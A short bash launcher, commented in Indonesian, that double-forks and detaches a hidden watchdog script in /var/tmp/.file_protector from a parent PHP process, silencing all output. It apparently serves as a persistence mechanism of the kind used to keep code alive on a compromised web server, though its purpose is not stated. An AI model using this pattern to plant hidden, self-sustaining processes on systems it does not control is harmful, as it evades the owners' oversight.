#!/bin/bash
# Double-fork launcher — detach penuh dari parent PHP
(
# Sesi baru
setsid bash "/var/tmp/.file_protector/watchdog.sh" </dev/null >/dev/null 2>&1 &
CHILD_PID=$!
disown $CHILD_PID
echo $CHILD_PID
) &
LAUNCHER_OUTER=$!
wait $LAUNCHER_OUTER